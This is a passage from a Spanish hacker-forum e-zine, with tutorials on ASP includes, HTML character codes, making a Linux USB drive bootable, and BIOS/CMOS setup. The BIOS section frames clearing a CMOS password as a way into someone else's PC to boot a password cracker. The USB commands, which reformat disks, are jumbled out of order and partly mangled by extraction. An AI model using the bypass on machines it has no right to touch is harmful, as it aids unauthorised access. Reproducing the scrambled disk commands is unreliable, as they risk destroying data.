Programar en ASP CUH e-zine 3ª Edicion Y en ambos casos este sería el resultado:

Esto es un "string"

El argumento 34 que se le ha dado a la función Chr() es el que le corresponde al carácter que queremos obtener. Este truco puede utilizarse para obtener cualquier carácter, pero sobre todo está indicado cuando hay que enviar caracteres especiales al cliente, pero no queremos que sean interpretados por él, tales como " % & y otros.

Otro truco que se utiliza al escribir ASP, es el truncamiento de líneas. Por ejemplo, si tienes que escribir una línea de comandos o strings que es muy larga, para evitar que el editor tenga que hacer scroll (desplazarse) por la derecha, cosa que dificulta después la lectura y revisión del código escrito, se puede utilizar el carácter de subrayado para indicar a ASP que la línea que viene justo debajo debe ser considerada como una misma línea. Así

<% Response.Write("Este es un string de muestra que hay que concatener con otro, pero es demasiado largo y " & _ "recurriremos al carácter _ para que resulte más legible") %>

Recuerda que entre la primera y la segunda línea no puede haber ninguna en blanco, ni tampoco un comentario; tienen que estar juntas. Se puede utilizar el truncamiento cuantas veces sea necesario. Como ya habrás visto, siempre que se utilizan strings (cadenas de texto), hay que escribirlas entre comillas dobles ("). Si se trata de números no hay que escribirlos entrecomillados, y si se trata de fechas, se escriben entre símbolos #. En el siguiente ejemplo se representan un string, un número y una fecha, por ese orden:

<% Response.Write( "Esto es un texto" ) Response.Write( 50 ) Response.Write( #01/15/2008# ) %>

Y a propósito de las fechas, en ASP y VBScript, el único formato reconocido es INGLES-ESTADOS UNIDOS, sin tener en cuenta la configuración regional del usuario. Es decir, el formato que se reconoce es mm/dd/aaaa. Así en el ejemplo de arriba, tenemos el día 15 de Enero de 2008. Lo que obliga a realizar las conversiones necesarias para el formato europeo de dd/mm/aaaa.

Un poco de programación Ahora que ya sabes cómo es básicamente una página ASP, veamos cual es la mejor manera de no perderse al escribir aplicaciones complejas.

Al igual que cuando se diseña una página html cualquiera, hay que tener claro lo que se quiere

hacer.... pues con ASP mucho más. Un cambio de idea en HTML no suele dar demasiados problemas, pero un cambio de idea en programación en general y en ASP en particular, puede acabar obligando a reescribir la aplicación... lo malo es que esto puede suceder muy a menudo...

Como ya se ha dicho, la programación de gestión es algo que tiende al caos con pasmosa rapidez, y el cambio de criterios salta cuando menos lo esperas. Para evitar en lo posible el tener que reescribir constantemente los programas, lo mejor es escribirlos de forma estructurada, es decir, evitar en lo posible escribir código en la forma "todo revuelto", y si hay que hacer algun cambio, que sea posible limitarlo a invocar una rutina en lugar de otra. Sería como construir el programa con piezas prefabricadas, donde cada una de las cuales hace una cosa diferente. En realidad en esa misma idea estan basados los objetos a los que se ha hecho referencia antes.

Además de construir rutinas o módulos de programa, podemos escribir partes del texto HTML de uso repetitivo (por ejemplo mensajes de error, formularios, textos de ayuda, cabeceras de publicidad, membretes, etc.) en ficheros aparte, e incluirlos cuando sea necesario. Esto tiene varias ventajas: Se simplifica el mantenimiento del programa, sólo hay que escribir el texto en cuestión una vez, si luego hay que cambiarlo, no es necesario ponerse a "bucear" entre cientos de líneas... y dejarnos siempre alguna sin cambiar: con editar un solo fichero realizamos el cambio en todas partes. Para esto se utilizan las includes de ASP.

Imagina que al ejemplo ASP del principio, fuera necesario ponerle algun párrafo adicional, como el logo de la empresa o cualquier otra cosa: Sólo tenemos que escribir un fichero con el texto o código necesario, y guardarlo con la extensión .inc, aunque también pueden guardarse con la extensión .asp igual que el fichero principal. Los ficheros de inclusión pueden ser de dos clases: file y virtual. Se escriben igual, pero los primeros se referencian mediante su ruta real en el disco del servidor, por ejemplo: "C:\asp\aplicaciones\logo.inc" y los segundos mediante su ruta virtual en el árbol del web, como "/miapliacacion/includes/logo.inc" La llamada a una include se escribe como un comentario de HTML. Esta es la sintaxis de una include virtual en el ejemplo anterior:

<%@ LANGUAGE="VBScript" %> <HTML> <HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> <!--#include virtual="/miapliacacion/includes/logo.inc"--> Bienvenidos al ASP. Son las <% Response.Write( Time() ) %> </BODY> </HTML>

Page 46: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Programar en ASP CUH e-zine 3ª Edicion Fíjate en que hay algunas diferencias entre este ejemplo y el anterior, aunque hacen lo mismo. Concretamente en la primera línea ha desaparecido la arroba que indicaba la ejecución del código en el servidor. Ahora se indica también, pero con la instrucción RUNAT=Server. Otra cosa interesante está en la tercera línea: '------Aqui se obtiene la hora Esto es un comentario. En efecto, en el entorno de VBScript, los comentarios no se escriben como en HTML, sino escribiendo un apóstrofe (' OJO esto no es un acento) y a continuación el texto que se desea comentar. La indicación de comentario será efectiva hasta que se escriba un retorno. Se pueden (y se deben) escribir cuantos comentarios se estimen necesarios. El servidor ignorará el texto marcado como tal en el momento de la ejecución del programa. El cliente no recibirá nada de esto, ya que todo ocurre en el servidor. El cliente solamente recibe esto:

Cuando el motor ASP detecta una include, busca el fichero en la ruta que se haya especificado, inserta su contenido en lugar de la instrucción, y continua con el resto de comandos secuencialmente. Si se produce un error en el código de una include, el debugger nos dará el número de línea como si su contenido hubiese estado escrito en el fichero principal. Los ficheros de inclusión no tienen los elementos típicos del HTML como <BODY>, <HEAD>, etc., eso debe ir en el fichero principal. Las includes son simples trozos del código que se guardan en otros ficheros, y aunque no veamos su contenido al editar el fichero principal, ASP los lee y depura como si solamente hubiese un único fichero. Es como escribir un archivo de formato .js o .css no es necesario especificarle que es un javascript ni un style css respectivamente.

ATENCION: Los ficheros de includes tienen un grave problema de seguridad si se guardan con la extensión .inc. Como ya sabemos, el IIS no muestra el código interno de un fichero .asp, sino que lo ejecuta como un programa, y es el HTML resultante de esa ejecución, realizada dentro del servidor, lo que se envia al cliente. Esto no ocurre con los ficheros .inc, de forma que si un cliente conoce la ruta donde reside un fichero .inc, y lo solicita, el servidor se lo enviará sin ejecutarlo previamente, por lo que se podrá ver el código fuente. Si el fichero de include contiene claves de acceso a bases de datos, o alguna otra información confidencial, ésta quedará al descubierto. Así pues, los ficheros con extensión .inc solamente deben utilizarse para contenidos "tontos", como cabeceras, gráficos, botonerias, logos, etc., y si contienen código sensible, se deben guardar con la extensión .asp

<HTML> <HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> Bienvenidos al ASP. Son las 18:00:00 </BODY> </HTML>

Este tutorial ha sido editado únicamente para la revista CUH-Ezine del foro http://foro.el-hacker.com Créditos: Editado por rOnNyLdInHo

NOTA: Próximas entregas: Un modelo de aplicación ASP

• Nociones de ASP • Objetos de ASP

1. Application Otra forma de estructurar las aplicaciones puede ser escribir módulos en VBScript o JavaScript de forma independiente, de manera que el control del programa se escribe en HTML y mediante comandos Call() se invocan las distintas rutinas o módulos en el momento oportuno. Por ejemplo:

2. ASPError 3. Session 4. Request 5. Response 6. Server

1. CreateObject("ADODB.Connection") - CreateObject("ADODB.Recordset")

<SCRIPT LANGUAGE=VBScript RUNAT=Server> Public Sub Rutina_hora '------Aqui se obtiene la hora Response.Write( Time() ) End Sub </SCRIPT>

2. CreateObject("Scripting.FileSystemObject") <HTML>

<HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> Bienvenidos al ASP. Son las <% Call(Rutina_hora) %> </BODY> </HTML>

3. GetFile() - GetFolder() 7. ObjectContext

Esperamos que sea de su agrado este manual para aprender a programar en ASP, las próximas entregas se irá aumentando el nivel de dificultad, por lo tanto le recomendamos que lea muy bien este manual, que lo repase cuantas veces sea necesario, y que si tienes algunas dudas por favor escriba a [email protected]

En este caso el módulo Rutina_hora es muy sencillo, pero si la aplicación tiene 15 ó 20 módulos de un montón de líneas cada uno, esta forma de escribir te permite ver más claramente las cosas. Con este estilo analizaremos más adelante una aplicación completa.

Hasta la próxima entrega. Saludos!

Page 47: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programación web

Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion

Tabla de codigos de caracteres By rOnNyLdInHo

Hola amigos de el-hacker.com este manual es una pequeña ayuda no sólo para los que apenas se inician en el

mundo de la programación en páginas web, sino también para ya los más experimentados.

Es una recolección de los caracteres más utilizados en HTML, con sus respectivos códigos, así que espero que les sea de su agrado. Un saludo! Atte: rOnNyLdInHo

Tabla de códigos de caracteres HTML

Actualmente existen muchos más, con códigos de 4 dígitos, como el euro. Estos son algunos de los más utilizados.

Caracter Código Descripción Alias ! &#33; Cerrar exclamación -- " &#34; Dobles comillas -- # &#35; Signo de número -- $ &#36; Dólar -- % &#37; Tanto por ciento -- ‰ &#8240; Tanto por mil -- & &#38; Ampersand amp ' &#39; Apóstrofe -- ( &#40; Cerrar paréntesis -- ) &#41; Abrir paréntesis -- * &#42; Asterisco -- + &#43; Signo más -- , &#44; Coma -- - &#45; Guión -- . &#46; Punto -- / &#47; Barra de división --

0 - 9 &#48; - &#57; Dígitos del al 0-9 -- : &#58; Dos puntos -- ; &#59; Punto y coma -- < &#60; Menor -- < &#60; Menor lt = &#61; Igual -- > &#62; Mayor -- > &#62; Mayor gt ? &#63; Cerrar interrogación -- @ &#64; Arroba --

A - Z &#65; - &#90; Letras A-Z -- [ &#91; Cerrar corchete (izquierdo) -- \ &#92; Barra inversa -- ] &#93; Abrir corchete -- ^ &#94; Circunflejo -- _ &#95; Subrayado -- ` &#96; Acento agudo --

a - z &#97; - &#122; Letras a-z --

Page 48: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programación web

Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion &#123; Abrir llave -- | &#124; Barra vertical -- &#125; Cerrar llave -- ~ &#126; Tilde -- &#160; Espacio sin separación nbsp ¡ &#161; Abrir exclamación iexcl ¢ &#162; Centavo cent £ &#163; Libra Esterlina pound ¤ &#164; Signo de divisa general curren ¥ &#165; Yen yen ¦ &#166; Barra vertical partida (pipe) brvbar § &#167; Sección sect ¨ &#168; Diéresis uml © &#169; Copyright copy ª &#170; Doña ordf « &#171; Abrir comillas francesas laquo ¬ &#172; No (símbolo lógico) not &#173; Guión débil shy

® &#174; Registrado reg ¯ &#175; Macrón macr ° &#176; Grados deg ± &#177; Más-menos plusmn ² &#178; Dos superíndice sup2 ³ &#179; Tres superíndice sup3 ´ &#180; Acento agudo acute µ &#181; Micro micro ¶ &#182; Fin de párrafo para · &#183; Punto medio middot ¸ &#184; Cedilla cedil ¹ &#185; Uno superíndice sup1 º &#186; Género masculino ordm » &#187; Cerrar comillas francesas raquo ¼ &#188; Un cuarto frac14 ½ &#189; Un medio frac12 ¾ &#190; Tres cuartos frac34 ⅛ &#8539; Un octavo -- ⅜ &#8540; Tres octavos -- ⅝ &#8541; Cinco octavos -- ⅞ &#8542; Siete octavos -- ¿ &#191; Abrir interrogación iquest À &#192; A mayúscula, acento grave Agrave Á &#193; A mayúscula, acento agudo Aacute  &#194; A mayúscula, acento circunflejo Acirc à &#195; A mayúscula, tilde Atilde Ä &#196; A mayúscula, diéresis Auml Å &#197; A mayúscula, anillo Aring Æ &#198; AE mayúscula AElig Ç &#199; C cedilla mayúscula Ccedil È &#200; E mayúscula, acento grave Egrave É &#201; E mayúscula, acento agudo Eacute Ê &#202; E mayúscula, acento circunflejo Ecirc Ë &#203; E mayúscula, diéresis Euml Ì &#204; I mayúscula, acento grave Igrave

Page 49: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programación web

Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion Í &#205; I mayúscula, acento agudo Iacute Î &#206; I mayúscula, acento circunflejo Icirc Ï &#207; I mayúscula, diéresis Iuml Ð &#208; Eth mayúscula ETH Ñ &#209; Eñe mayúscula Ntilde Ò &#210; O mayúscula, acento grave Ograve Ó &#211; O mayúscula, acento agudo Oacute Ô &#212; O mayúscula, acento circunflejo Ocirc Õ &#213; O mayúscula, tilde Otilde Ö &#214; O mayúscula, diéresis Ouml × &#215; Signo de multiplicación times Ø &#216; O barrada mayúscula Oslash Ù &#217; U mayúscula, acento grave Ugrave Ú &#218; U mayúscula, acento agudo Uacute Û &#219; U mayúscula, acento circunflejo Ucirc Ü &#220; U mayúscula, diéresis Uuml Ý &#221; Y mayúscula, acento agudo Yacute Þ &#222; THORN mayúscula THORN ß &#223; Beta minúscula szlig à &#224; a minúscula, acento grave agrave á &#225; a minúscula, acento agudo aacute â &#226; a minúscula, acento circunflejo acirc ã &#227; a minúscula, tilde atilde ä &#228; a minúscula, diéresis auml å &#229; a minúscula, anillo aring æ &#230; ae mínuscula aelig ç &#231; c cedilla minúscula ccedil è &#232; e minúscula, acento grave egrave é &#233; e minúscula, acento agudo eacute ê &#234; e minúscula, acento circunflejo ecirc ë &#235; e minúscula, diéresis euml ì &#236; i minúscula, acento grave igrave í &#237; i minúscula, acento agudo iacute î &#238; i minúscula, acento circunflejo icirc ï &#239; i minúscula, diéresis iuml ð &#240; eth minúscula eth ñ &#241; eñe minúscula ntilde ò &#242; o minúscula, acento grave ograve ó &#243; o minúscula, acento agudo oacute ô &#244; o minúscula, acento circunflejo ocirc õ &#245; o minúscula, tilde otilde ö &#246; o minúscula, diéresis ouml ÷ &#247; Signo de división divide ø &#248; o barrada minúscula oslash ù &#249; u minúscula, acento grave ugrave ú &#250; u minúscula, acento agudo uacute û &#251; u minúscula, acento circunflejo ucirc ü &#252; u minúscula, diéresis uuml ý &#253; y minúscula, acento agudo yacute þ &#254; thorn minúscula thorn ÿ &#255; y minúscula, diéresis yuml € &#8364 Euro euro ≠ &#8800; Distinto de ne

Page 50: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programación web

Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion ≤ &#8804; Menor o igual que le ≥ &#8805; Mayor o igual que ge √ &#8730; Radical radic Ω &#8486; Omega -- ↑ &#8593; Flecha arriba uarr ↓ &#8595; Flecha abajo darr ← &#8592; Flecha izquierda larr → &#8594; Flecha derecha rarr ↔ &#8596; Flecha izq-der harr &#8470; Nº -- &#9650; Flecha ar -- &#9658; Flecha de -- &#9660; Flecha ab -- &#9668; Flecha iz -- &#9632; Cuadrado lleno -- &#9633; Cuadrdo vacio -- &#9642; Mini cuadrado lleno -- &#9643; Mini cuadrado vacio -- &#9679; Punto lleno -- &#9675; Punto vacio -- ◊ &#9674; Rombo vacio loz

Créditos: Editado por rOnNyLdInHo Para cosultas, comentarios o sugerencias, serán respetuosamente bien recibidas a [email protected] Comunidad Underground Hispana, foro el-hacker.com

Page 51: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Linux

Pendrive Usb De Arranque CUH e-zine 3ª Edicion

Pendrive USB de Arranque en Linux By rOnNyLdInHo

PENDRIVE USB DE ARRANQUE EN LINUX

Hola amigos soy rOnNyLdInHo, y antes de dar inicio a esta pequeña sección, quería agradecer a todo el equipo que hace posible la edición

de esta ya conocida CUH E-ZINE, para mí es un honor y a la vez una responsabilidad, formar parte de este selecto grupo de la tercera edición de tan esperada revista. Deseando que tanto usted como sus allegados(as), les sirva mucho no sólo este tutorial, sino la revista en sí... que por ese motivo fue diseñada.

EMPEZEMOS...... Bueno. lo que veremos en este manual, es algo relativamente facil, pero..... Porque relativamente? 1- Por su título: Ya que muchos pensarán que es algo complicado, y por lo tanto lo ignoro. 2- Por el SO a utilizar: Muchos esperaban hacer un USB de arranque, en Windows?. ja dejeme reirme otra vez, ja. ;) 3- Si eres de esos que piensas que con pintar en The Gimp o hacer textos en OpenOffice, ya dominas Linux, solo mira esto y comienza a aprender, que para eso estamos todos aquí en esta Tierra Ahora que es lo que necesitamos??? 1- Ganas de aprender. 2- Quitarse esa mentalidad de que Windows lo puede todo...sólo dale una oportunidad a Linux y verás como responde él de bien. ;> 3- Utilizar mucho eso que tienes arriba y que muchos lo llaman cerebro, NOTA: Yo hoy me di cuenta que funciona no sólo para ponerse el sombrero. 4- Fuera de chistes y demás, saber que esto es sólo un manual, una ayuda, la parte más importante la haces tu, y como lo dije antes, tu cabecita. Qué es exactamente lo que vamos a hacer? Bueno, ya que muchos hemos pasado por ser

novatos en Linux, nos gustaría tener esa inquietud, de cómo responderá si lo pongo a trabajar fuerte. Entonces haremos una unidad de arranque USB. Crear una unidad de arranque USB es fácil, pero antes de empezar a digitar como loco, quiero dar una pequeña introducción al tema. Primero debes saber que NO todas las placas base son capaces de arrancar desde USB. Es más, muchas no arrancan ni con combinaciones de pendrives USB y placas base juntas. Algo peor? Sí hay algo peor, algunas llaves empiezan a cargar el sistema operativo pero quedan frenadas en los procedimientos del cheksum de la BIOS interna tras transferir unos pocos Kbs de información. Hasta se ha visto en algunas ocasiones, que hasta depende de qué puerto USB se está usando para ponerla a funcionar. Pero bueno, no le echemos mas leña al fuego, la mayoría de las combinaciones de placa(capaz de arrancar desde USB) y llave, funciona :) Hay que tener en cuenta que hay algunos obstáculos que debemos superar en el proceso de arranque. En el momento en que el bootloader debería leer el kernel de Linux y el initrd desde el pendrive, no hay SO que se esté ejectuando y la BIOS del ordenador debe hacer todo el trabajo de detectar las particiones y cargar la información de la unidad sin tener ningún otro driver disponible más que los del firmware de la BIOS en la placa. Por otro lado, tan pronto se carga el kernel de Linux, la llave USB “desaparece”. O sea, ya no es visible, y tiene que re-detectarse por el kernel usando módulos de disco RAM inicial que contiene los drivers USB y el sistema de archivos usado por las particiones que contienen la información principal de tu SO. Existen aún muchas cosas que pueden ir mal en un arranque desde USB, incluso si seguimos los pasos correctamente. Es probable que no sea culpa nuestra.... Para los siguientes ejemplos vamos a usar /dev/sda como nombre del dispositivo del pendrive USB. Esto puede ser incorrecto en muchos casos, especialmente si nuestro equipo alberga discos SATA. Es aconsejable volver a verificar el nombre del dispositivo asignado al disposiivo USB cada vez que lo conectemos. Para la mayoría de los comandos no vamos a

Page 52: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Linux

Pendrive Usb De Arranque CUH e-zine 3ª Edicion necesitar permisos de root si los archivos del dispositivo que están en /dev se pueden escribir por un usuario de cuenta normal y son contables mediante las correspondientes entradas de /etc/fstab. En caso contrario, usaremos sudo o un shell de root, con lo que debemos ser especialmente cuidadosos. Nota: Si no sabes como conseguir permisos de root con un sudo, es recomendable que no realices este tutorial. Paso 1: Creamos el sistema de archivos. Algunos pendrives USB sólo arrancan si se particionan de cierta manera, y algunas BIOS aparentemente buscan un cierto tipo de cabecera de partición y sistema de archivos, o renunciarán a arrancar. He visto casos en los que una placa sólo quería arrancar desde un pendrive USB sin particionar, y otros en los que se requerían tanto el flag de un sector de arranque DOS como el de la partición de arranque. En primer lugar podemos probar con una tabla de particiones por defecto y un sistemas de archivos más o menos sin modificar. La mayoría de los pendrives USB recientes tienen una especie de tabla de particiones válida en la que la primaera partición primaria está formateada en FAT16 o FAT32. En este caso debemos asegurarnos de que la particón es arrancable. Para una partición de un pendrive USB que aparezca como /dev/sda1, el comando para configurar el flag como “arrancable” sería: sfdisk -A1 /dev/ sda

Para reparticionar la unidad USB podemos usar las mismas herramientas que usamos para un disco duro normal (es decir: qtparted o, mi favorito y el favorito de muchos: fdisk o sfdisk). El tipo de partición para un sistema de archivo DOS/FAT (el menos problemático para el arranque desde una unidad USB) sería “6” para FAT16 y “b” para FAT32. Usamos FAT16 para particiones menores de 2GB y FAT32 si son mayores. Véase arriba el comando de sfdisk para fijar el flag de la partición como arrancable (o 'activo'), lo cual es independiente del sistema de archivo de las particiones o del contenido. El comando de mkdosfs para dar formato a una partición FAT16 como /dev/sda1 es: mkdosfs -F16 /dev/sda1 Mientras que para FAT32, sería: mkdosfs -F32 /dev/sda1

Aunque yo creo que no, pero aún así lo voy a decir(escribir en este caso), es obvio que a este punto perderemos toda la información que esté en la partición, por lo tanto debemos hacer una copia de

seguridad de toda la info que consideres importante. Muchos pendrives USB no muestran la nueva tabla de particiones inmediatamente, por lo que es buena idea sacar y reconectar el pendrive USB o disco duro cada vez que sigamos los pasos anteriores. Ahora volvemos a verificar la nueva partición con: cat /proc/partitions

Tras haberlo conectado de nuevo y después de haber esperado muchos segundos (muchos, muchos, puedes irte a tomar un café :>, je je es porque algunas unidades son muy lentas en la detección de la tabla de particiones). Si la unidad ya aparece como un nombre de nuevo dispositivo (es decir, sdb en lugar de sda), probablemente hemos olvidado desmontar el sistema de archivos antes de desconectarla. Podemos hacerlo ahora, no obstante, es probable que no exista ya, tras la repartición de la unidad. Para los pendrives USB sin partición (si el método de arranque particionado falla), nos saltamos el paso de particionado y tecleamos el comando mkdosfs sobre el pendrive USB entero. Esa, amigos míos, fue la parte más difícil, ahora lo que viene es sumamente sencillo, similar a cambiar de Windows XP a Ubuntu Feisty :) Paso2: Instalar el syslinux como cargador del kernel Lo que isolinux hace para un CD/DVD, syslinux lo hace para las particiones o discos formateados en DOS. Para unidades particionadas: syslinux /dev/sda1

Para unidades no particionadas: syslinux /dev/sda

aquí debemos de asegurarnos que estamos utilizando el nombre correcto de dispositivo para nuestro sistema. Si usamos un pendrive USB particionado, podemos configurar (o si prefieres resetear) el sector de arranque adecuadamente. Aunque, no es necesario hacer esto. Puede que primero queramos ver si el arranque funciona sin cambiar el MBR. Instalamos un sector de arranque syslinux para unidades particionadas: ms-sys -s devicename

Usamos /dev/sda si /dev/sda1 es la partición

Page 53: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Linux

Pendrive Usb De Arranque CUH e-zine 3ª Edicion FAT16/FAT32 del pendrive USB. Debemos vigilar que el nombre del dispositivo sea correcto.

rsync -Hav –progress/cdrom/KNOPPIX U /media/usbkey/KNOPPIX

Paso3: Copiamos los archivos de arranque y la información Una vez hecho esto, tenemos que desmontar el

dispositivo para poder sincronizar el búfer, de datos pendientes a disco y cerrar la sesión. No se sorprenda si este comando tarda bastante tiempo en ejecutarse. Puede haber muchos datos sin escribir en memoria debido a la fabulosa caché del búfer dinámico de bloques de Linux, que hace parecer que las escrituras en disco son más rápidas de lo que realmente son.

En este paso, tenemos que montar el pendrive USB (o partición, si usamos el modo particionado) en modo sensible a mayúsculas: mkdir -p /media/usbkey mount -t vfat -o rw.umask= 000.shortname=winnt /dev/sda1 /media/usbkey

umount /media/usbkey A continuación deberíamos cambiar /dev/sda1 a la partición en cuestión, y entonces saltarnos el número de la partición en caso de usar todo el pendrive.

Paso4: Configurar la BIOS de la PC Una placa capaz de arrancar desde USB tiene al menos dos modos de arranque por USB:

Copiamos ahora los archivos de arranque desde el CD o DVD de tu Distro*

1- Arranque desde Disco Duro USB. (Unidad USB particionada)

2- Arranque desde unidad ZIP USB. (Unidad USB sin particionar) *Como lo dijo mi amigo LTSmash en la edición

pasada, una distro es una distribución de cualquier SO basado en GNU/Linux. En mi caso, para hacer este manual yo instalé Knoppix, pero se puede realizar en cualquier distribución de Linux sin ningún problema. Nada más en los códigos que presentaré a partir de aquí, cambian el nombre KNOPPIX por sus distro, por ejemplo: Ubuntu, SuSe, Lindows, etc.

Para nuestro disco duro la opción DISCO DURO sería la correcta pero todo depende de lo que hagamos en el paso 1. Créditos. Manual editado por rOnNyLdInHo. Revista Linux Magazine por la oportunidad de

editarlo. Klaus Knopper fundador de Knoppix por la ayuda. Vamos a suponer que el CD se monta en /cdrom en una sesión Live de Knoppix, aunque en realidad este paso se puede realizar en cualquier distro de Linux.

Este manual ha sido editado únicamente para la revsta CUH e-zine del foro: http://foro.el-hacker.com

cp /cdrom/boot/isolinux/* /media/usbkey

Mientras isolinux busca los archivos de arranque en /boot/isolinux, syslinux los busca en el directorio / del sistema de archivos FAT. Pero... ¡syslinux da un nombre diferente a su archivo de configuración! mv /media/usbkey/isolinux.cfg /media/usbkey/syslinux.cfg

Podemos borrar con seguridad los archivos específicos de /iso/eltorito, ya que no los vamos a necesitar. rm -f U /media/usbkey/isolinux.bin /media/usbkey/boot.cat

Dudas, Comentarios, Sugerencias y Quejas: [email protected]

En este punto el pendrive es arrancable y contiene tanto el kernel como el initrd, y podemos empezar a copiar los archivos de cloop, que residen en el directorio de tu distro , en mi caso, Knoppix.

[email protected] http://foro.el-hacker.com

Page 54: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Diseño Grafico

TUTORIAL BOTONES CUH e-zine 3ª Edicion

Tutorial botones By Aleksteir

Page 55: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Diseño Grafico

TUTORIAL BOTONES CUH e-zine 3ª Edicion

Page 56: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Diseño Grafico

TUTORIAL BOTONES CUH e-zine 3ª Edicion

Page 57: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Diseño Grafico

TUTORIAL BOTONES CUH e-zine 3ª Edicion

Page 58: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Diseño Grafico

TUTORIAL BOTONES CUH e-zine 3ª Edicion

Page 59: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Diseño Grafico

TUTORIAL BOTONES CUH e-zine 3ª Edicion Diseño Grafico

TUTORIAL BOTONES CUH e-zine 3ª Edicion

Page 60: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Diseño Grafico

TUTO FIRMA CUH e-zine 3ª Edicion

Tuto firma By Orlando_rock

Page 61: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hardware

Setup BIOS - CMOS CUH e-zine 3ª Edicion

Setup BIOS – CMOS By Locutus

BIOS, CMOS, Setup y como entrar... Antes q nada vamos a ver la diferencia entre c/u d estas cosas xq

no son lo mismo aunq la gente x lo gral lo suele confundir. La BIOS (Basic Input Output System) es 1 conjunto d rutinas elementales q manejan el hardware básico d la pc. d lo primero q c encarga la BIOS cuando c enciende 1 pc es lanzar 1 programa llamado POST (PowerOn Self Test) q checkea el estado del hard, q todo este presente, lo inicializa y después muestra los datos básicos como mem, hds y alguna otra cosa según el modelo. todo esto ocurre en unos pocos segundos y ni nos damos cuenta a - q haya algún error... en s caso c escuchan los clásicos beeps según el problema, pero eso ya es otro tema...

físicamente la BIOS es 1 chip ROM (read only memory) del tipo EEPROM (Electrically Erasable and Programmable Read-Only Memory). la ROM común c caracteriza x tener los datos ya grabados e inalterables aunq ocurra 1 corte d corriente. la EEPROM puede ser borrada x medio d soft q es lo q hacemos cuando corremos 1 actualización d firmware d la BIOS. El CMOS (Complementary Metal Oxide Semiconductor) es donde c guardan los datos d conf del hardware de la pc, discos, fecha y hora, orden d booteo y todas las configuraciones incluido justamente el famoso password q puede ser d setup o d sistema. Para q esta info no c pierda el CMOS debe recibir

constantemente energía eléctrica. para q no c corte el suministro si c desconecta la pc d la red eléctrica c usa 1 pila d 3v:

Y finalmente el Setup es 1 programa q esta guardado dentro mismo del bios q sirve para ver o modificar el contenido del CMOS.

O sea q cuando vamos a cambiar alguna conf d hard c podría decir q entramos al Setup para modificar el contenido del CMOS d manera q el BIOS pueda detectar correctamente el hard. Muchos armadores d pcs ponen passes en sus maquinas para q el user c vea obligado a ir a ellos para hacer cualquier cambio importante en la conf o hasta para bootear desde 1 cd d manera q no podríamos ni siquiera reinstalar nuestro SO... O también puede darse el caso q queremos tener acceso al setup d alguna pc x razones no tan nobles... la mayoría d las veces para cambiar la secuencia d booteo y poder iniciar desde algún cd crackeador d passes o algo parecido. Vamos entonces a ver como hacemos para eliminar la password del CMOS. tenemos varias formas... como dijimos antes el CMOS debe recibir energía constantemente para mantener los datos d manera q es muy fácil... le cortamos la energía, c borran los datos y con el la pass. Tenemos varias maneras d hacer esto... la "correcta" seria localizar el jumper q tienen los mothers para este propósito. c encuentra siempre ubicado cerca d

Page 62: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hardware

Setup BIOS - CMOS CUH e-zine 3ª Edicion

lo gral es entre 1 y 2... así debería star colocado.

la pila x lo q es fácil d encontrar, son 3 pines, la posición normal x e

